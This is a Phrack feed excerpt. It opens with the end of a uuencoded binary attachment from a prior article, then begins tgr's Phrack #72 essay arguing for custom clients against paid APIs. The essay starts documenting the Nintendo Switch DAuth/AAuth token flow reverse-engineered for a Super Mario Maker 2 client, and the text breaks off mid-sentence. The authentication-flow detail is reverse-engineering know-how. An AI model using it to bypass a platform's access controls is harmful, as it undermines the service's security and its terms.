MQ`..+:&$>71:OZP@V&K-LT^"1/9:IF2\-H.D@E0$S;;>(%`-<6\:^BT,WC7T M[>]QIOJ2[_>3W%EOVE6QWE*19RH[K!'ZC;O,Z;>&UA6_:5;O.N:04`=[X7@J M^1+KYN:VPXJISNEPI2IOW-U^9YN7FJ_4U5?J:-'-[L;(ZT%WJ^+UGVY.\#:V MW=#XK>PF:E3S?E-KSS7VFWX'X;]!O[F:AC_RG+7?'W>J.=ZH\QL:'G--U=_& M_78^DFOSAOWF]YIS5WZS/KM"CXG^,E6.!NNNT9O^HT[4E!#_QK,OQ[^KR/Q_ M,_[)`=$L@I10]QZJ%P]^H,>M\`G48C:F_#L57^-J`M?V^V=S>67?>#L+DTS= M7,2=#Q15R;R]_QR=#O-3]OVS'Q[V7OSV<R]Y^??G3QX^#E0M7HJ0^&3<?Z]> M\=EQ^6%K("#HUJG(WJ5;A_E"QLZ'".'+#^PD7ZP@AAT$V\9X3N+A$7RCUS(* MI+N("V:XMF$0L)XEJ'6R$R("M@"K70WMRV:O-+8IVPQJ:E-VH+Q8E/"G;`+- MX2%..--WPS973-IX]UR&A8']CQ@)950P')'$U^+\PE+XC*="A.RMQ,L7X?+Z MT1!+7K7<$\W#?#`;YA#K,D*HD-<'[+."QP!W\I<0?2:/N``;O%B'CZT9*)UQ M&QS.E^QC^A$'PZ=/BL(R-Z1?,&"<O\_'C`(ZTML[18$/!)V=C:9GSM"%&19> M-XJ/VUO_S,=E?FN'J1$H[F.(\.?0HQCK75#!,8@1V)$CD/^-O<A'7F(X5+C3 M1MTT32-#\[T^>H`8$5`\:5(\5<73)L4S5;PFJLX&DP?.'/)UE(8`BORT(8!J M0$8`S7Q-[67.-&N(OF\.+W#DTSY<.Z0W"%%D^X-S<?/PZFM')8;$QI"LCR&U M,:3K8\AL#%D8PW;]JP.+K'\A9B0^,Y)-F=%H>%X7,Y*-F)%4,B/UF9%NRHQ& M4\]U,2/=B!EI)3,RGQG9ILS(;I(9V4;,R,PK!HQ\26%:45/)U]<>PQ0D%@5) M/05UPW1M"E*+@K2>@KJQL38%F45!5D]!G4#6Q)W^'Z['AP$3'[`17&K1V[R^ MS(-SP$2K_Q#[C99QSPV"UD(0P?;N7^U]R/VZ62V`)-%(DDV1)`8E:3,D-9\] M#(_YWFHZ')T"9_^]PM1RBY>:S(9+KB)#'Y@^Z[?^;?O]P3\8I0>_S//IBV</ MGS]ZF1P,<Q@N!^5%>3":S0^POP]X?Q\4B_&![OU\,-A_W[".-O^ZG0[\FQP= MMLU_X<]NTFG_6]))#].TTTFR[K^UT^209[/V%VVY^);EHE\P]F_+NG(W0<S- M?WQ(/U`?>S2;7Q2CL_,%^SO?_.8%^UM^AO&\FWZW.#[XGY(H]C)ASXK9("]+ M/BU_/QKG]YDC15!>5]P:[+*4RPM[L9RRGT:#8L9%<9%/RCWV=#K89^SA>,R> M0]$2WPTJWN?#?4#Q^!?V\R\OV<,?7SYYSGYYSIX_^>F7_WS"'OWR[+?G3W_X M^TO(??KHR8M]2>/+<[X^G<S><Y6S/\F';%[,SHK^!,+]G!9YSLK9Z6+5+_)C M=C%;PL$OWPL/1^6B&)U`&,71`G:_![,"</$)<G1Z`6G+*?`-8Q?EQ:0$/05^ M_/#SK^P'U%[&[-GR9#P:`-B/HT$^+7/V/B]*4&I2OEJQ.627Y_3H"L!^#]2\ M$-2P[V>\BCX%.*IOB288GW``=.>SN0C9.5I0+*23'-$LR_QT.=YCO#1[]?3E MWW_YE;/SY]_8JX?/GS_\^>5OQQB=&.(O0?18Q#6:S,<C>$.M7Q3]Z>*"-Q<P M_?3D^:._<Y"'?WOZX].7OX$S_?=/7_[\Y,4+]CWOFH>,BP;OC%]_?/B</?OU M^;-?7CSA/?LBSR6O`(G-+L4K6.0GL%$8YHO^:%PJ+OS&>ZGDY(V']-!,D0_R M$;CR][FF.+]HUA/]\6QZ1E&8,?;3:E:\/09?S^ELL6>]DF%W"^#0/4.RNL<. M$UZJ/WT[YJQ_P>&_'YURQ-^/9[-BC_UMQC<\O.A/#QF?\9+VG21K)WOLUQ</ M59.JAN83K@PU'Y@X-*_GNW7P%Z"-_41*P<]<Y)PQS;-W'N?EH!C-@1OW*<;7 MR7@V>,OF><%[<$(AM7A9\?(0&I)F7+4CFRX?!JN<2V:_A*IV=G:&,Z[.T4LE MJ>B&^:S@0[`X&2W$E@!PB!*`6&\6]F_]Y>"6T&$L0EF+P@`]?/[#7]0E$AWO MIYSM`29ZMJ1,>H/<_KVT?J>8#W!FFETF<W!DF"]A3B[F0!5X"2_'B]YD3SVZ MP;7:7GDQ'4*:H%/',X&GU/:X=LS_-]IC"@G_'SF,[J$K&:8!T67>X^JVJ%:5 MYCE8P9`P\`TXDN]C2*,84@L#I64!#%D40Z8PR-(0O1%HF_3&;F)*B<0\,R.S M2_.]`*%PDU+)33N9@T/B+L/]#)F%U6MU]+/,S1\CX\?K+D9V\SO!*".^4*>8 MF(X`4:"#PK79'5956]JHMK2R-KMSJVK+&M66^;4YF`Q!J"N4-BF451=20E-7 M)*TODLEW26=T=$5?.3OVTNS)ICI_69F?UL"G-?!9#7R&\$8!(1RA:>S8*H8] M[\]K_AN?^%+DL9>J!"&6E<:S,BL&(PDA`V38,".K:V05A?E*-%!;S":Y\;X3 M5]-P$<N+*(+)V@@4<6F<N/2JQ*57)2Z+$Y==E;AL0^($`@(VDC.2/#$C._$X M1:XW;T?*6+-MJ!8NW^-RJ>?(4!FP5*E<S^3F/Y/Z#(*2DH(*N@M79$8+?&I< MA%ZE5T.DL?;NKI)LY3/G+R;8E;[/G!P2(CMB>&I@,D8JTA@5:0T5Z752D<6H MR&JHR*Y(A>B^1ZCH2K47(\UR#;<C9D:K#__U+ZP1`HZ=O^5_IES*WT*O<=); MOFY!$E5WXOY^/&R%=(XZN'E3<1#EA?C`X,>Q6%=^`%&NS'4/N+>T$Y>8.,TE M2V,,2B6#;'5H$P:E:S&HD:0:#$HW95`:8E#:F$&9)4%*@VO$H`"3LJ9,4HQJ M-)@<9F7-F>4S+`LQ++,9)B=8T/11:1&C4:PM);U1"P]4E^:T<K2K-03UW)DC M^Z&9%5:FZL8TF-..=K4&H"M/JRM/K[/R;.;6GE77GEVE=G\1?/X]`^D%>\Q/ M%%_<)+';H=XA`9<TQB=/AUI?$Z@=(PWX1D2E`:+"$U:`*%OUN#ZBLABGO$G" M)"H^&$7D;%L+JI]G:KK_)\,!*6/#T>EICL>!8`PJ<5%56B*8@Z!63[-2.P@X M.HWM+P,0:0@BK8+(0A!ZYZE>Y>##B9-M^'[4CQ-ZA:/1;$+7@!N-??3C:S90 MR0=$L:VJ6-)2O*HJEK84@[2+##$(1)0DR&22H<I7"Q8R:]T1C6Q;=\0A`]>5 M^R_.RI"P@6W"X*6W(6^PVJXA@P9+&ZY"$J"I/.K&MUN>%:<>*&EY=IUZH+3E M67JTT[EP@5#SD:E1H'79M$3WAOE`N(JT]@T32,O<)3938]_9T))MW@,M89NS MV)T^8/[H8K\SGQJXEQ+Q$("3@*]]OKG]JK]-S_^+_.RZSO_YWXEW_G_4W9[_ MW\3W=<__48JVY__;\__M^?^7/__W#L#A#F[U`;B\7QLX=%9GSN*&[1[#VZ[T MF_^CKK0:9ZF\9BZ??%RP%T__OR=<Q\A(-=5G9_8Q*WS642L]FT6?J-<_?,,/ MB:F`M/*0FCOH>ZG(M@^WH(11`.O5!GV=*U@&SJ/'U?E)37Y:DY_5Y)-7?!T1 M30JE30IEHI!_B*=OQ/BG<DS?$(EGIE696<,H.`?ZRECP`B$?"PVQU-]*WE%" M8DK6`]TU1G+`U=J^74:WS_%N&5TGE]N+]:YB08UB"^U>Q[(EQJ"MX7634+,: MWCI1HVT]4+I]LOX%+>MR%J.#&6D$$PSBO[@H&)=,*KCC&.?6XT/,SH477BM] ML@/]#\M1!V2X%)W>,3H=+L!*@4S,/K<%E.(N<,:*B;7^CJOBJX1()))4)=5> M967R-JN$H+@7UR%8Z'UO-Q#,"6I>6Q=MID`S$]0\Y&OD/\>\JZN-9Q\#?KUK MJTTFE2!$8D(D32!2$R)M`I&9$)D)L9WKKF6NJV)/$F!/<D7V)%^'/6M<3XU? M3778DP;8DUZ1/6O//-?#GC4NK,8OJSKLR0+LR:[(GNSKL&>-*ZSK7E_][Z)< M5)&4V"0%IH`(2<T&^R8DI39)@6$7(:G9`-N$I,PF*2#J$9*:"75<*[S253VN M7D3L?YO:?\OSTT53`W"-_?<H:7==^^]1]W!K_[V)[^O:?TF*M@;@K0%X:P#^ MTUP`@T%==0,,1$:\IT#M@=W<.#]=\,[C[(%[7A#-:7K!^A/.4,0E/CQ";P/_ MNQE>ZKKE6[6A^KI[7;P(>G5@A6!UD%>1+!,WOI<-1<=4+I>WBC!Q-L]2>:\) M$[!0IY?K.T4Z.8%D[4N2J%M1H;M6%C@7RD#E7.G@:_W):.&7QYPLQ;S>V+"^ MDZ5@)]`J=+&'ERY..7.',Z,S^*!$>Q1U%"89]G:'%]I3?\2UE4%_D9<L2\%! MG?$91US2*V=L.>>_($<\I71P8-KH'<9U.5Z.\77G[AX'V6-)=X_Q4@XI(=". M@$PX%`?N-(5+!%RVQZ"^()A[[RKQ;T*]/KS?:7XUR^WK8V7A*:EP"5*/V>0] M$L&@Y<*N)R8?RG9E7^,)C1#SQ$-<89`$];">8VV6&NJH'Q4`O9,$VGFR1"^^ M*$PA@'0EDW[YEI>'E2!+[U@"5@,.5:Z-82Q$40NXX)9848J\G,-9`E]S^&XX M1@&'CZ'N!'**:(X@)PH3RI%-P/;+5B#CAQLV!C!%VQ/.+$*9G2,I&0'YI2+R M[$[/"/YY$.:=7/0FY4D@UY+ZP&4;$YQ/2P&'W$.,D>/.>!%$0*.(Z6,BY@@" MF#NA0R"-)@F@61\+QONY,BV9CR6.Q+%1V]&/K'E`^9SY$ZK(NLT^=CL?/X=F M2@@0Q((!>G$9`^7"6+WH6'L.5JLTEYZE<$*"N6#%(EM6:`+4_L]@K1(CJHE/ MGG![;%Z^S,>MP#IMWR>"*0S&+E\8YG2&2<0R%'.+VY;X2X_DZ')@LB<3$50+ M0006EV%4S8D5VI4U.>U1+&FWPMV]'I:D]3%+/UK-^/2I,;S%:!K3SIM85ALS M<9)K2V^FXWT)*'<N$Y/<`_:Q<_=C:+$VHEP9P@J<S^TC/2FN6"KI6CV1=!L( M%S+^8YC`/6^M!(2=NV^J&4J]$$*9=",X>1_7XDS#.#EH&">OK!9GU@I!UK&, MW+.-6;"V>-(RI][:XFG+G.]KBV<M<Y71%OJ`B'0L">DTN'\1E8],=R:N_LCS MFGZ,BT:G[6.K$;2X3'0Z/K).+;*LY8#4WDP1KN76'J-&'+1ON0U5+17:N=R& MJA8.D@T?JD9&$GL6N8J,=`Y51W3D4-]80KH>KGII"PN(ARAI+!R=C64CV4@V MDHUD(]E(-A(E&V+MH9T8@S4,GHS@.TY:C=0ZQ%4#489DB/\0JL%H&M(*#.8! M4WV50;_U$L7LK7)AI&KUJ\/G3(EA;!V-3/!&&T4JEF4HI.@=VW0U&%#VWOAU M<HB+,B@-R;<G[4_5BHT<20X2U$XX$JXE-4.2!I`(]>!CTFV(1"Q1)HZ&@ZCI M.KO>,KO>*MM\D84.[UC]7;_&4F\;._+7AZ*/DB9]1/UL@0LY:2(FU,$6]#TA M9<V@L];8'X=Q@$T6S8W6S(V6S/573!SA]@!?J\-IOFF+,;EF=Q.P$):&LI+: MP*F0M/4ZN]$JN-$BN-$:N-$2N.$*B/-^Y0(XMA?`V,2'JTO`[E&Q8,F1YBPH M+E)GH:G#Y\Q786S.`ACU+<#3GJ]]BKW]-OV:^W_H+C^YF!^L4P=X>1P='4;\ M/_!S_#_:W;3];^SP2S7:_/Z'^W]LVO_EQ70VAT(-ZEB___G?1]O^OXGOROT_ M'/`E(!^/]\>SLT@=Z/_5C?E_A?J_`^*R]?^Z@>_*_4\^'I73P/KCO]/.LNWX MOXGONOI_67*E=G!ZML]_NW54^W^V.X=IYO1_-^MDV_%_$]\WU^O^^0WC_U_I M_&D*"B][5;_/;]9P^T3BKLWI\YN-?#Z_N;++9UTK&CM\?G-=_I[?7(.[YS?- MO3V1`9O[>GYS=5?/;Z[3TQ.;<ZU^GK?*V;(8Y.Q./CB?L3M<T$YFO+G_>_B^ M5\QF"W.*=Z=Q+D?_E0\6/9KLY3"]5>8+5BS&O=,1^*-]_,>M\>CD8)GP_]\_ MR<__DU'").'_+Q.<=60PFTQF4[I$L"K>\RF`0^R_;U!P&"D8NYG`5R=>?*WR M$*GH+)\2V"=J[F3T03;W$R8L9O.>YVS*@:GX:#H8+X=Y;]Y?G".'G-I%OL9_ M,NX/WO9.9A]ZO'VJ$IU*\"ICDD^L@L/9=-%;S):#<T&4RN$,G'.Z>_GI*3R0 MP-C_XA/$:#GY7[>L[--Q?['(ISV(09O86=,9/L8UX%I]V>M#-?,>O;-UVH?7 M>(F`_+0/`:,@3#$$*783>WPV?<=8PJ=T*XO_O9SWRK?YBK'V?F+EG<.#O.$L MP+C@XZL<H1<ISV]WB&B>P:?.!?L8L_O]P[,(?@2"&1&WWV986]O^M]UI?](( M1)^-AGE_S'FS$#42PY$IV/%6<C[E_!_DP@QXVI^"#]%L2DYIQ!/.^]D*?(L@ M>F%O6/`)C!>?<I6LY,1AD?+MB',+EB'C$]##80\<JCD[>5\.SC&+>@@9<PZA MNP;@0:TA!5*.C^=AK4@R,N63R@-*K4PCCURZ,)M0BF?PA'\0YF+A\W[96^0E M[_'%\L2O7^(9R9:ILB!_)[SB`]$0F*5[U)IRUH.K<KQF)Y'0G@/-3DDWD4HJ M/,:G<D=\<2CP"+GHVQRF?#^CIZ7PTQ_+&+J)_@\FWW4,@!O8_XZ.TNW^[R:^ MC?M_#0/@!O:_HW:R[?^;^*[>__4&P/7M?X=)YVB[_[^)[^K]7V\`W,#^E[8/ MM^/_)KYKZ_\*`V"=_:^3N?>_NX?I]OW/&_FV]K^M_6]K_]O:__X\]C^**;&V M)0_]F+:FO*TI;VO*VYKR_I"FO(V^3?3_?##XTOY_A]VM_]^-?)OV_Q?Q_^-* MT5'G".Q_G:.M_>]&OBOW_Q?R_\NV_G\W\EVY_Z_3_R_C,W\[X?V?'1UN[7\W M\EU7_U_-_\]]_Z>;P?G/=OQ_^6]K_]O:_[;VOZW][P]@_VMJ`!2O*:X+LX'- M$!XXW)H,MR;#K<EP:S+\@YH,-]'_AZ/W7_S^;[*U_]W(MVG_?^G[O\GV_N^- M?%?N_R]D_]N^_W`SWY7[_PO=_TVW]W]OY+NN_K^"_>^PS?-<^U^6;L?_37Q; M^]_6_K>U_VWM?W\B^U]_O)P56;J.SR`'Z0\YK[N=-:'*>;$6;7SI7.MR,B_? MR]+\W7AMJ(LB/]O`I,E!MR;-K4ES:]+<FC3_J";-[;?&MYG_Q_B+^W]N_?]N MYMNT_[^T_;>]M?_?R'?E_O]"]M].=VO_N8GOROW_A>R_[<YV_-_$=UW]?Q7[ M;Y9Z][^S9#O^;^3;VG^W]M^M_??/9?_]\N;?KW:YFR\]:Q;O#::+[KHPP]%[ M#K9V5?E@,%@?:C)\MP'4:EV^G5S,N8J^$1`\T+DFX&!0K`LQF\R/$.836\\) M=\RV%NNMQ7IKL=Y:K+<6ZW4_=_^W/P=F7F\=U?:?M)L>=N7]SVX&^[\D3=-M M_/\;^?@.YI3=N7,&^QIW[R\6S(,/?%;@B\!HFI?[Y^RD4;%;([XE^L`&@_3N M87NPO]_),_[_IRQ!4\"M.W?N-*SOUG???=>TSO_X#W8GV<O8=\G>(?N/_[C% M_DEY[/MG/SSLO?CM9S^E]_,OO1?/?@UD)-V7/_[MUG<'!W[.R[\_?_+P<3#O M+@!5,36B`7'%QVMDM*A@;I8/DKQ]NK^?G^2#PZ-^)7/CR((,CA<')J='V5Z7 M?0?_''%&,U<I8ZV#OSS\]>4O#Y__\)<#7/M7HR+WU`*XJ06Z;%%F7-4Y5ND' M!WPO-9M`/FSDG&M:S?`MKP7?&-^G'_"%RT!GX!N[^,;`4(GO=>=^^\W.CD13 M#`D+!U\N+N[C<EM?.>C?9<[_GA)X3>6-\4UF7-7A"*\+WZQ0K:O"!^)SU#D$ M\3GJ=)N*C__MA]O3"B='GX54:+A6<3[BJA^?4#02,[$>!8H))K6L)`[YW<Z. M719D8:=E_MK=8R'9B-2'3UB.A<;7&[<":=4$8^'9/$N1Y):3U`!6OI7*0J^[ MTD.AT-?W[G6AK^_=NWN%OH8W&I!/9=H;]A=];'(HL>:-4HT([H@B3,M/JD-R M;?W=I+-'ITL</:/I>]"(A[PR-ZF>4FL.\88(IC9'`@/=PP&)',4&*Q^@66/U MH^)B!;QWU&TG=]/]_3Y?^=)[U>I%-<)U5D$!`N*=P13V71:9R*`@LA58A;:> M?-+CFT9X__5]?SP:@LSN,2S"A>$I[%/QF5G<S^^Q,N?_&^TQ+>J)D%$S38L_ M1W6'`^NLS"^NQ'S/7M\X['>;PYJ2;0LVM<Z5V;WP^N8G@V`)#KE9'R@O/.,[ M,+"?ALQR.2%&N1G07N(@=.MA`I,6_V]UMZ)A@=%\$>`<K=;"'#N;YP5O(\LJ M(!5_@Y!@"B_R,S:838=D@X'=6VG@$U],;T&D/!$QH<,K=KF@!9059G7DL0%F M3U16=6[?'IM%PFH,1_CR/"]SUD'EHF1PRL&S\\&"C4&;1Q+!\L[A1H,JA*AW MP,O-8`V`AYKW&>"^0)3]P6+T/F?GH[-S.+=A@_,9V,(Y8MHL9$?0STD669Q4 M1U=\^_[@;/E)M8]G^]A2'UNZ+C9+$D*KU(Y3L#`7"*V61,2@JFI7*OQE"]ZI MEE/?C]#-!_-^63+9S$T7$R[8Y?)DS25%`LE]ZV$[[PRS_?W!O=-!ULTW75@4 MVG67%P6(B\Q=7&0JA)2*TU(#XQJF-;YTS,4?<OD9\%_=#LUS9AJH?&+"E,F( M9C1->]T,\KSD+%$@>N6"Q4<M7,T6K?`J=%4DZRY'F+AK3ER<@F-D?@?UU]A6 MQ6%^9$%(]+0.Q"3E0I044[L/&VBD`$ZGPRBP_*(+`,S__:*XX.7]J=^>^W=B M@]ZNRIO\)1!GR:+@\R^<,N.Q-BTXQ'\PN.O&*I'%W2A?#I;C!>P="0(ZH=N& M$=!-]M)N@UZ@S;=@I*1#KDOAS-S(E)\<+<<HU[>^,S;V$IP&6&\QF8O>T<1S M38/-P7=@L/`!58L)--#J[UQJW/&*D+K8SDE_\'8XXZOA;-I[FU^L9L509^\8 MV:>GE?G3#XM@>A%,S:=F\J(8G9WQALEL,^^\7Y[W3L"AQ$O-IT,OK=WVDGQT MN8^+R#=21R7OY&)HH>,IT*W?W>*<;_Y!:<9^(MD#1XA\DD\7Z`6P)B(T@ASN M)1V^,3[<.[S;9%HO8>FP1<&:H]D#M7)R*7MS7`\%4[@)E24"*G0QBL2RM2\G MLY;\0^HB;%\B:AETD)IRQ]4.[&^?SU.N<L+VU1AIJ;^:(\1!TG+'#*"E4=V2 M@QNTD.^NB3P8DHK$6J1A$@%'@$Q,%J2:G2KS>3^:1=DE\\=B3""T5L"Q?-:S MGEN72RHO':(^7+=6]<R)$9+<"W4PJVXF9\&>BLO*OIB^6^)?@:9*(%P0H\=W MY;1C+9@B0?>3<%HZX2JES&Q_.$J[I]W3HPX#!QU,EGDX4^%_AUP9'O&-TL(V MJ>ZQ_UIR=0+U@2G?Z>0%^4SQ3>+[43X=Y(B)`_=*Z"V!J;4_Y)SR#4F<@^.W M+?X_^/-="VN'/\N\5=*.`9DP:F'BK"699<I*8"'BDM+J=KX]S]KV_[$'#P** MCF`HNWV;M3KM;\\E=]I.>7-OE7;>V*,CM-Y%R$BNG0R3$+G^0.6'WYXCL*EH MH?+%:Q%=?=M1WFQDQKH+^$*LO@PV/<(<OEK&\/!6?PYB4@WD<I1SJ?JFE>QJ MC$JXS#I`6G(C*9]*6=K9L25.JQN6V`4'XXXKB'+0S*;C"Q@`Y0C\Y_YW\K]Q M1$QG*Y,'6A\!#K12+A=I)TO23KQW.U(<8H53IS!TJ](_F-V50LN!RN\*L0C4 MVCD2M89*I4ZI8^95D(/S(/U9<"2R4H.L`%4D7`:#+A4RH,15"4U0$B@#%,1( M`8<D!S,A@<1&8A$B(T!CXD(-VTA4I+!X!O;;[F9RTG\+4W"!WK\P!;,7O_[M M@/]O,%!(IN6B6`[00Y>U>-:C;TL;#9BBEOTQ%TR.H;UK,LY=+17S"\EX9*4E M3+Q.LR,8[B$$$'KX+N=<-G)8+J8Y[Y/!Q6"<[Y-\[.#G,^G@H#\NR=]5D8*X MRH7P&1:4@O_O>:XES!8A:S7E;?&62D[YQV[GXV>WW9\^V0+LJ'V@;OB:5@4R M4#DX=4*QAL4TI%MO:F9"P^2:5B8!(XQ,=P?WTN%A9W__Z&[[L',XV-3()+&N M:V.2<&CP1D,H_V^2P&;$W*S2SK3'M3A/7IB<J;B@*K-="/B#!VT"_QX#YJE@ MY*>AZ=@QA`F!;Y@GRP]<.!>KG(OD^WXQFBU+46_)N_<[6Q_COSC*;V4)0Q_[ M5U[,;GV']4.E@G)(/1;)H]+8V()T<625E?./YW>&,-5U.[MDS.[Q)#[7@19) MO\V-#?3%7;XEY!O#]EX"7BQR-`AZ^CBAJQ7BY#3A(\!AU"T'!J<4"^2R#N2# M#_.[#X/L#`&V*B%WY:!U^`QC%C#B?[QNDPO[.6?!&/O(G'9%$4&,@QCV-;SJ M'O(;5W#=E;LX==)$*\T3NE4^(D,(@H`V(;JT5#Z[A]U.-^NFW83^#Y9TCSV< MPBS5*B>5T1P%<<E25#4UJ7Y5(3U7:0T"#2@7EY=5Y1.O/$J_FEDWG$+)E;_Q M?$7>(S1QIO<.#P<9GS@[=P_OM;/N1A.G\-599\[4'BR'=W&ZO+L7-MWP@L$3 MRR][QFEZJP0MXHZ#R!X+[U<MX[FJP?`.,;!)EP\W*;&HP_1\:M0,J:#(\K&U MF!5Y;V(D<8GC4V2*#36Q>)G%:01J/!3GN-DA.JIEAX=[21NZRC9>ZV\Q)BUP ML)H/!D6/M*?>!`\J9XPG>;Y,>,/!-&9''*Q"1<R>"A;0AGO[Q/:`JRQD]X<Y MK[1,!78G2@L[FO8MPSX,7ET@)!C'0C%F;3:<L7%^"LLDS]OGI<=ESNAZ$B:% M49&8'*NUF@_;T8`SM&19RDY&"]T$QA7.Y9S_@IP'K"V,1)+Z3%)O2%:7SGM? M=^[N<:`]EG3W&"]%Y.#Z>81'-G?OIE^PTWF9^6B>PV$U.QW/YG1BS241CC!) ME6'2[O)-ZW`7_^3\'Z:Y;7R!-+(!N-87;1TP]C>!9C#?)!.6";%0F-(`B[PA M%+":#.C"`C2G7(W`YYYS@<LJ=#/_#^^R_OO\0`Q<TZA8P-4,(OJ-P`M__<ZH L)1GHZBT`YM5>,CGRT0(;Q"*4?O7W\=:O?_MMO^VW_:[M^_\!%W\4E`#@&@`` ` end --[ EOF ]]> https://phrack.org/issues/72/the-feed-is-ours-a-case-for-custom-clients.html Tue, 19 Aug 2025 00:00:00 +0000 tgr Phrack #72 phrack-72-18 |=-----------------------------------------------------------------------=| |=-----------=[ The Feed Is Ours: A Case for Custom Clients ]=-----------=| |=-----------------------------------------------------------------------=| |=--------------------=[ by tgr <tgr@tgrcode.com> ]=---------------------=| |=-----------------------------------------------------------------------=| --< Table of Contents 0 - Introduction 1 - A Worrying Trend 2 - Super Mario Maker 2 2.0 - Removed Features 2.1 - Prior Research 2.2 - NEX 2.3 - Opening A Public API 2.4 - The Scene Adapts 2.5 - The Scrape 2.6 - Opening A Public Server 2.7 - A New Era in SMM2 2.8 - A Bitter Reminder 3 - A Fragile State of Affairs 4 - References /=================\ | 0. Introduction | \=================/ \ | \_ \ \____ | \_ \_________ | \_ \_____ ____ \ \_ / \ ~\_ \___ / YMDOGSTICPV--- - ~ \_ \_____ / GEJMSMTGDZYAVVM \ \_ \____/ DOTUJNTHEZJIDYK-- ~~\ \_ | NEIMFIYFEEDFGNJB--- - ~~~ \_ \___ | APCZZPYISTHUDODO-- - ~ ~\_ \___ | OCDKELOOURSUYRIOU ~~ \_ \___| CFKELIEJWEJSNKO- - ~~ \__ \ HZZOQGYDQNGSZR-- ~~ ~~ ~ \__ \ JQGZHHLFGZFVZ--- - ~~~ \__ \ SRBHRIJXKOE-- ~~~~~ ~~~ ~~ \_____\____/ In 1995, when the World Wide Web was less than 2 years old and SSL 2.0 had only been released earlier that month, Neal Stephenson published a book hypothesizing a greatly advanced version of his society. Drawing from scientific, not fictional, ideas growing in the late 20th century from books like "Engines of Creation (1986)" and "Nanosystems (1992)", this book proposed a striking kind of post-scarcity that remains to be seen even in the bounty of today. "The Diamond Age" proposed a type of nanomaterial distribution network capable of providing dependable streams of basic atoms like carbon, sulfer, oxygen and hydrogen. The "Feed", as it was called, was capable of providing "boxes of water and nutri-broth, envelopes of sushi made from nanosurimi and rice, candy bars" [0] from free matter compilers dotted throughout the urban landscape. Paid MCs are capable of creating much more complex structures, like the Primer, of which much has been said in regards to the development of Large Language Models. The Feed is not purely altruistic, however. It is capable of reporting what is created and by whom to its operators. And unfortunately neo-Victorians do not have the best interests of other phyles at heart. In order to instill subversiveness in his daughter Fiona the secondary protagonist John Percival Hackworth secretly commissions the creation of a second Primer, which had only been intended for his employer. The engineer behind this second Primer, who operated his own private, untraceable Feed, called himself a "Reverse Engineer" [1]. Stephenson made sure to stress in interviews that he saw Science Fiction as more than a medium to deliver a prophetic message: "The science fiction approach doesn't mean it's always about the future; it's an awareness that this is different" [2]. Whether or not he intended it, I see parallels in "The Diamond Age" to technology that was beginning to infiltrate the daily lives of many: The Internet. Back in 1996 it was theorized that the Feed was a metaphor for information technology, where the neo-Victorian operated Feed represented centralized content providers and the Seed represented the decentralized promise of free information transfer across the internet [3]. An admirable promise that is beginning to wane. The World Wide Web, TLS, large search engines - all of which started for the purposes of ensuring security and the continued proliferation of information freely, now serve to pull the internet back into its centralized origins. The world needs new hackers, like the reverse engineer Dr. X. and his custom Feed, to open the internet back up and free information once again. /=====================\ | 1. A Worrying Trend | \=====================/ Lets return to the present day. Independent blogs and webservers hosted out of commodity hardware flourished, giving rise to famed stores of culture that would become obsolete a few short years later when a new flashier competitor appeared. Forum messages, Freeware, PDFs - the internet was constantly sharing information in a freely accessible manner. But monetization now flourishes in spaces it used to have no grasp. Lines of Code Added to Open Source Projects Over Time *10^8 2 | | |--\ | | \ 1.5 | /\ | \ | / \ / \ | / \| \ 1 | / -\ | -/ --\ | --/ -\ 0.5 | ---/ --\ | ----/ -- | -----/ 0 |--------------/ |1991 1994 1997 2000 2003 2006 2009 2012 2015 2018 2021 [4] One such kind of place hard hit in the last few years is the new age forum: social media. On April 18, 2023 Reddit announced it would charge for its API [5]. Reddit had enjoyed a thriving scene of custom clients adding quality of life and accessibility features. RIF and Apollo were both apps forced to shut down. The latter discovered they would have to pay 2 million dollars per month to Reddit in order to operate a custom client which was simply passing through requests [6]. From June 12 through to June 14 over 7000 subreddits blocked access to their content entirely for everyone, known as a blackout. Some subreddits continued beyond that timeframe. But unfortunately Reddit started forcibly removing moderators from subreddits that stayed closed [7]. As of today business is as usual and the API pricing has not changed. A month before Reddit another social media platform had begun charging for their API: Twitter. Their free tier has no read ability at all and the enterprise plan has a hidden cost of 42,000 dollars a month. Multiple services that provided tools not available in the official client had to close, especially ones that provided a free tier like SocialBlade. This trend demonstrated to me the urgency we should have to take back access to our services. Like we used to have. And so I threw my hat in the ring and made my own custom client. /========================\ | 2. Super Mario Maker 2 | \========================/ My first custom client was for a game I saw as a perfect candidate for open data. Take the best selling video game franchise of all time [9] and allow for user created content, perhaps one of the largest such games! The roots of custom content, and especially courses, in the Super Mario series come from romhacks: injections of new machine code and assets into existing console-based Mario games. With a culture as rich as the demoscene-adjacent romhacking scene the idea had potential. --< 0. Removed Features Super Mario Maker, the prequel, had a number of features that its sequel lacked. Importantly, these features were largely problems with the interface and not with the data accessible in game. One such feature is the ability to search courses using more complex queries, available in Super Mario Maker via an external site [10]. Another is the inability to view the entirety of downloaded courses via panning, accomplishable in Super Mario Maker by editing the downloaded course. Some new features also lack the kind of searchability available in the prequel. For example, "Ninji" speedruns have no browser leaderboard. Various user leaderboards also lack a website. --< 1. Prior Research The work started with Kinnay's NintendoClients [11], which implemented DAuth, AAuth, BAAS and the start of a custom client for Nintendo Online enabled games. As discovered by SciresM [12] the console has a chain of checks before granting access to most online services. Unlike its predecessor the 3DS the switch is capable of identifying and subsequently blocking access at a hardware, Nintendo account and game level. There is also no way to forge any set of credentials and each pair is linked it the other. DAuth, or Device Authentication, is the entrypoint by which tokens are returned for each part of the console, denoted by a `client ID`. Firstly a `/challenge` is requested, the result of which is decrypted using a function accessible only within the "TrustZone" of the switch, a physically separate chip which has access to factory-baked keys in the hardware [13]. That resulting data is appended to form data posted to `/device_auth_token` as `challenge=%s&client_id=%016x&key_generation=%d&system_version=%s`. A CMAC is calculated within TrustZone and appended to the form data as `&mac=%s` in Base64. The resulting token is then passed down the chain, if you are not hardware banned. The next step is OAuth authorization with your Nintendo Account. From here all requests require a client certificate, so a ban on a Nintendo Account can be associated with any hardware that logs in with that account. Next AAuth, or Application Authorization, is performed to ensure the console actually owns the game whose online services is being connected to. Using a client ID from DAuth a certificate is send to the `/application_auth_token` endpoint. There are two possible cases: Gamecards: `application_id=%016llx&application_version=%08x &device_auth_token=%.*s&media_type=GAMECARD&cert=%.*s`, where `cert` is retrieved using `GetGameCardCertificate` on the console [14]. That certificate is signed at manufacture using a Nintendo-known private key with RSA-2048. Digital games: `application_id=%016llx&application_version=%08x &device_auth_token=%.*s&media_type=DIGITAL&cert=%.*s&cert_key=%.*s`. Digital game "tickets" contain the Title ID of the game, Device ID of the hardware and the Nintendo Account ID that purchased it. Once again the ticket is signed at 